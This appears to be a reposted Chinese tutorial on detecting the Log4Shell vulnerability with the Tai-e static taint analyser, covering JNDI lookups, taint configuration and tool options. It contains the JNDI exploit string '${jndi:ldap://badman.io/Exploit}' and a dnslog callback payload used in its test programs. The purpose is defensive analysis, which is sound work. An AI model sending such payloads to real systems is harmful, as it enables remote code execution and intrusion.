太阿静态分析检测Log4Shell

0x01 Tai-e 的污点分析方案

Java 污点分析（追踪污点数据流）最令人头疼的两个难点：别名关系和动态反射。

Tai-e 污点分析提出一个基于指针分析的架构，来解决别名分析和反射分析两个问题。

解决方案思路：

• 将污点转换成对象，然后利用指针分析传播污点数据，这样自然地解决了别名关系

• 采用 2019 年提出的、目前推导能力最强的静态反射分析技术，来处理反射

0x02 Log4Shell 漏洞原理

日志方法：logger.error(str)

将 ${...} 中的特定字符串映射到相应的值，举例如图所示。

表达式	解析值
logger.error("${java:version}")	Java version 1.8.0_292
logger.error("${java:os}")	Windows 10 10.0, architecture: and64-64

通过 lookup 机制，让 log4j 的记录功能更加强大，跨平台性更强，还可以通过该机制输出环境信息而无需硬编码。

JNDI（Java Naming and Directory Interface）：${jndi : ...}

• Java 平台的一个标准扩展

• 通过绑定的概念将名称和对象联系起来：名称-->对象

• 文件系统：文件名-->文件

• DNS：URL地址-->IP地址

• 提供了 "通过名称查找到相应对象" 的规范接口

• 实际的查找功能，交由具体的技术实现，比如 RMI、DNS、Corba、Ldap 等

LDAP（Lightweight Directory Access Protocol）：${jndi : ldap: ...}

• 一种目录访问协议，可用于在网络上访问和管理分布式目录服务

• Log4j 将输入解析成远程地址，并发起请求

• 服务器响应请求

构造恶意 payload：${jndi : ldap://badman.io/Exploit}。

0x03 如何分析 Log4Shell

Log4Shell 本质上是个注入漏洞（Injection），可通过污点分析（Taint Analysis）进行检测，该漏洞的入口方法、利用方法如下所示。

Logger.error(...)
            ⬇️
            ...
    JNDI Lookup

使用太阿提供的测试主程序：

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Server {

    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(Server.class);
        String input = getInput();
        logger.error(input);
    }

    private static String getInput() {
        return "${jndi:ldap://badman.io/Exploit}";
    }
}

Sources：标记为用户输入。污点数据来源于 Main 的 getInput() 方法，当系统调用该方法时获得污点数据。

sources:
- {kind: call, method: "<Main: java.lang.String getInput()>", index: result}

Sinks：对应的是 JNDI Lookup，在 log4j 中是调用 InitialContext 的 lookup() 方法来启动 JNDI 的 lookup，所以可以把 Sink 标记为 javax.naming.InitialContext.lookup(String) 。

sinks: 
- { method: "<javax.naming.InitialContext: java.lang.Object lookup(java.lang.String)>", index: 0}

污点分析要做的内容，就是找出 error 到 JNDI Lookup 的一条传播路径。

实践检测 Log4Shell 时遇到的挑战：

• 跨越 33 层方法调用

• 污点数据多次变换形态

• 过程涉及多种反射 API，也可能导致数据流追踪断掉

使用 IDEA 创建一个 Maven 项目，使用 pom.xml 配置 log4j 2.14.0：

<dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-web</artifactId>
            <version>2.14.0</version>
        </dependency>
    </dependencies>

测试程序：编写一个 Java 测试类，动态传入 logger.error(str) 的字符串参数。

package org.example;

import org.apache.logging.log4j.*;
import java.lang.String.*;

public class Main {
    public static void main(String[] args) {


        Logger logger = LogManager.getLogger();

        //String poc = "${java:os}";
        String poc = getInput();

        logger.error(poc);

    }

        private static String getInput(){
            return "${jndi:ldap://9710ck.dnslog.cn}";
        }

}

运行测试，确认成功执行 payload：

分析漏洞配置 Tai-e 的步骤：

步骤	内容
第一步	配置 Source 和 Sink
第二步	配置污点转移
第三步	配置反射分析

0x04 Tai-e 的污点分析配置

参考资料：配置污点分析-官方文档。

Tai-e 使用 YAML 配置文件配置源、接收器、污点传输和清理程序，以进行污点分析。

仅对不熟悉的概念进行介绍。

变量表示

设置污点分析时，通常有必要表示 call site 或一个方法的变量。

第一种，调用点的变量，比如 r = o.foo(p, q);

类型	描述	表示
结果变量	方法调用的结果，也叫做左手边变量	result
基变量	方法调用的接收器对象，指在方法点号 . 之前指定的实例对象	base
参数	调用点的参数，从 0。开始索引	0,1,2,...

第二种，方法的变量，目前支持通过方法的索引来指定参数，比如 foo 方法的参数 t, s, o 的索引是 0, 1, 2。

package org.example;

class MyClass {
    void foo(T t, String s, Object o) {
        ...
    }
}

字段签名

字段签名的目的是在分析的程序中唯一标识字段。字段签名的格式如下：

<CLASS_TYPE: FIELD_TYPE FIELD_NAME>

例如下面字段的签名info

package org.example;

class MyClass {
    String info;
}

其字段签名为：

<org.example.MyClass: java.lang.String info>

污点对象根据 sources 生成。在配置文件中，sources 被指定为一个 source entries 的清单，放置在 sources 键后。

Call Sources

最常用的 source 类型是 Call Sources，适用于污点对象在 call sites 生成的场景，格式如下：

- { kind: call, method: METHOD_SIGNATURE, index: INDEX, type: TYPE }

如果在配置文件中编写 call sources ，当污点分析发现 METHOD_SIGNATURE 在 call site 被调用时，太阿会为调用点的变量创建一个 Type 类型的污点对象。（Type 为可选性质，如果没有指定，应当是生成函数返回类型的污点对象）

提示：可能有人想知道，为什么函数签名中已经包含方法的声明类型，还需要包含 type: Type 字段。

• 这是因为污点对象的类型，应当与实际对象对齐。

• 但是在某些情况下，与该方法相关的实际对象类型可能是声明类型的子类。

• 因此，我们使用 type: Type 在这种情况下指定准确的对象类型

比如下面一段代码，source() 的声明类型是 X，但实际上返回的对象类型是 X 的子类 Y。

class X {...}

class Y extends X { ... }

class Z {
    X source() {
        ...
        return new Y();
    }
}

理解：污点分析的数据源往往来源于封装的方法，比如 request.getParameter(str)、request.getInputStream()。根据 source 建立的污点对象，即是这些调用点的返回对象，也即是污点分析要追踪的数据流。

Parameter Sources

某些方法（例如入口方法）在程序内没有显式调用点，因此无法在其调用点为变量生成污点对象。然而，在某些情况下，为其参数生成污点对象可能很有用。为了满足这一要求，太阿的污点分析提供了配置参数源的功能：

- { kind: param, method: METHOD_SIGNATURE, index: INDEX, type: TYPE }

理解：一般情况下，JavaWeb 污点分析中 source 的 kind 都为 call。

Field Sources

太阿的污点分析还允许用户使用以下格式将字段指定为污点源：

- { kind: field, field: FIELD_SIGNATURE, type: TYPE }

在配置中包含此类源时，如果污点分析发现字段 FIELD_SIGNATURE 已加载到变量 v 中（例如 v = o.f），它会为生成一个TYPE的污点对象。

目前太阿支持指定 sink 方法的特定变量作为 sinks。在配置文件中，sinks 被指定为一个 sink entries 的清单放置在 sources 键后。

sinks:
  - { method: METHOD_SIGNATURE, index: INDEX }
  - ...

当污点分析识别出 call sites 调用了 Method_Signature 和 Index 表示的变量时，太阿将为检测到的污点流生成报告。

比如 new File(name) 根据文件名创建文件对象，设置其为 sinks 得到：

sinks: 
- { method: "<java.io.File: java.io.File File(java.lang.String)", index: 0 }

区别于指针分析

这部分好像是追踪数据流的关键，尝试梳理一下思路。

回顾一下《程序分析》的理论课程，主要讲解了 Soundness、中间表示 IR、数据流分析的方向/代码帧的建模和计算、过程间分析、指针分析等等。

通过回顾发现，指针分析的语句场景是 New、Assign、Store、Load、Call 等五种，污点对象基本通过这些语句进行流动，看起来能够满足追踪数据流的需要。

提出疑问：那么我们为什么还需要污点转移？或者说有了指针分析，污点对象的数据流追踪为什么还会中断？

尝试解答：经过查找资料和思考，还是在官网文档中找到了答案。

• 指针分析能够处理的污点转移，依赖于分析的语句

• 指针分析对于 Store、Load 语句这种赋值类型的语句，可以追踪其污点转移

• 但是，指针分析处理的语句并不包含 StringBuilder.append(taint)、StringBuilder.toString() 等方法调用语句，也就难以追踪这些语句中污点对象的转移

• 所以需要额外收集这些语句，然后通过污点转移配置指明 污点对象/指针对象 的流动方向

比如示例代码：

String taint = getSecret(); // source
StringBuilder sb = new StringBuilder();
sb.append("abc");
sb.append(taint); // taint is transferred to sb
sb.append("xyz");
String s = sb.toString(); // taint is transferred to s
leak(s); // sink

调用 sb.append() 语句时，taint 转移到了一个 StringBuilder 对象。调用 sb.toString() 语句时，taint 又从 StringBuilder 对象转移到了 String 对象。

对于这两个方法调用语句，我们需要告诉太阿，污点对象指向了哪个新的对象。比如污点对象流到 java.lang.StringBuilder 的 append(java.lang.String) 语句时，污点对象流向的对象就变成了方法的返回类型，即 java.lang.StringBuilder 对象。

这两条语句的执行，就会为污点对象的 Pointer Flow Graph 添加两个新的节点：java.lang.String --> java.lang.StringBuilder --> java.lang.String。

如此以来，污点对象的数据流追踪/其实就是指针流向图 就可以继续往下分析。

transfers:
  - { method: "<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>", from: 0, to: base }
  - { method: "<java.lang.StringBuilder: java.lang.String toString()>", from: base, to: result }

突然意识到，污点对象的数据流追踪其实就是指针流向图，通畅了。

概念和场景

污点转移的概念：

• 是污点分析常见的场景

• 程序运行时，污点所代表的数据（比如隐私数据/外部可控的输入数据）可能会以不同的形式在程序中传播，其形式的变换成为 Tiant Transfer 污点转移

• 通常污点转移由某些方法的调用引起

列举五种污点转移的情况，由方法调用 base.foo(a~0~, a~1~, ..., a~n~) 引起。

不同的 base、foo 甚至 a~n~ 都可能导致不同的污点转移，尝试思考污点转移问题的解决思路：

• 第一种即 Tai-e 在用的解决方案

• 不断收集具体的 base/foo/arg，指明污点转移的 from 和 to，从而得到指针流向关系

• 缺点是不仅要收集通用方法的污点转移关系，还要在分析 JavaWeb 系统自定义的方法时、定制编写污点转移关系

• 第二种是在方法调用执行后，检查相关的 result/base/arg 指针是否发生变化，比如是否新增了污点对象的指针？不行

• 比如 StringBuilder.append() 会申请新地址并复制原地址中的数据，然后指针指向新地址，释放掉原地址

• 那么转移之后，原污点对象的指针地址是释放掉了，而非作为污点对象的标识符存储到新的地址当中，只是转移了内存里的数据。没有标识符，就意味着无法确定污点对象是否被添加到了创建的 StringBuilder 对象

0x05 安装太阿并检测 Log4Shell

参考文档：Tai-e 0.5.1 参考文档。

本地环境如下，根据参考文档创建和配置项目。

• IntelliJ IDEA 2023.1

• Amazon Corretto version 17.0.8

单独下载太阿的 java-benchmarks 子模块，该存储库包含分析所使用的 Java 库。

太阿的主类是 pascal.taie.Main，其配置项有三类。

配置项	说明
程序选项	指定要分析的程序
分析选项	指定要执行的分析
其他选项	-

程序选项

这些选项指定要分析的 Java 程序（比如P）和库。

由于 Soot 仅部分支持 Java7 版本，建议使用太阿分析字节码，而不是源代码。

• 类路径（-cp/--class-path），目前支持以下类型的路径

• 支持 jar 文件的相对/绝对路径

• 包含 .class（或 .java）文件的目录的相对/绝对路径

• 应用程序类路径（-acp/--app-class-path）

• 参数选项与 -cp 完全相同

• 区别在于，-cp 只会把 application/main/input 引用的字节码添加到 P 的 closed world，-acp 会把所有字节码添加到 P 的 closed world

• 主类（-m/--main-class），表示 P 的主类，该类必须声明一个 public static void main(String[]) 的方法

• 输入类（--input-classes），向 P 的 closed world 添加类。有些Java程序使用动态类加载，因此 Tai-e 无法从主类中引用相关类。可以通过此选项将此类类添加到 closed world

• Java版本（-java），指定分析中使用的 Java 库的版本，默认为 6，目前提供 Java 版本 3、4、5、6、7 和 8 的库

• 前置 JVM 类路径（-pp/--prepend-JVM），将 JVM 的类路径添加到分析类路径

• 允许引用镜像（-ap/--allow-phantom），允许太阿处理镜像引用，即在类路径中找不到的引用类

分析选项

这些选项决定要执行的分析及其行为，分为两组。

• 一般分析选项

• 提前构建 IR（--pre-build-ir），在开始分析之前为所有可用方法构建 IR

• 分析范围（scope），默认值 APP，指定分析类和方法的分析范围，APP-仅限应用程序类、ALL-所有类、Reachable-调用图中可达的类（这个范围需要分析cg，即调用图构建）

• 自定义分析选项

• 执行分析，需要指定分析 id 和选项

• Tai-e 中所有可用的分析及其信息，在分析配置文件 src/main/resources/tai-e-analyses.yml 列出

其他选项

• 帮助：-h/--help

• 世界缓存模式：-wc/--world-cache-mode

• 用世界缓存模式，通过将已完成的构建世界缓存到磁盘来节省构建时间。

• 启用后，它将尝试加载缓存的世界，而不是从头开始重建它，从而大大加速世界构建过程。只要分析的程序（即 classPath、mainClass 等）保持不变，这就适用。该选项在分析开发过程中特别有用，此时分析的程序保持不变，但分析器代码被修改并重复运行，从而节省开发人员的时间。宝贵的时间。

• 指定输出目录（--output-dir）：--output-dir <outputDir>

• 默认情况下，Tai-e 将所有输出（例如日志、IR 和各种分析结果）存储在当前工作目录内的 output 文件夹中。如果您希望将输出保存到不同的目录，只需使用此选项即可。

命令行选项的使用示例

假设我们要分析一个程序P，如下所述：

• P 由两个文件组成：foo.jar（JAR 文件）和 my program/dir/bar.class（类文件）。

• P的主类是baz.Main

• P与Java 8一起分析

• 我们运行2类型敏感的指针分析并将指针分析的执行时间限制为60秒

那么选项将是：

java -jar tai-e-all.jar -cp foo.jar -cp "my program/dir/" -m baz.Main -java 8 -a "pta=cs:2-type;time-limit:60;"

根据视频教程，自己动手用太阿检测 Log4Shell，只需要做两件事。

• 找到 Main class：pascal.taie.Main

• 只需配置运行参数：--options-file java-benchmarks/log4j/2.14.0/options.yml

编辑太阿运行配置，使用 --options-file 指定运行参数：

运行结果查看 output/tai-e.log，可以看到找到一个污点流。

Detected 1 taint flow(s):
TaintFlow{
<Server: void main(java.lang.String[])>[12@L8] temp$4 = invokestatic Server.getInput()/result 
-> 
<org.apache.logging.log4j.core.net.JndiManager: java.lang.Object lookup(java.lang.String)>[1@L172] $r3 = invokeinterface $r2.lookup(name)/0}

将污点分析结果 .dot 转换成 svg 文件

dot -Tsvg -o taint-flow-graph.svg taint-flow-graph.dot

dot语言是一种使用代码描述各种图形关系的工具，通常需要安装Graphviz。

brew install graphviz

生成的污点流如图所示：

来源： https://xz.aliyun.com/ 感谢【frank·zhu】

原文始发于微信公众号（船山信安）：太阿静态分析检测Log4Shell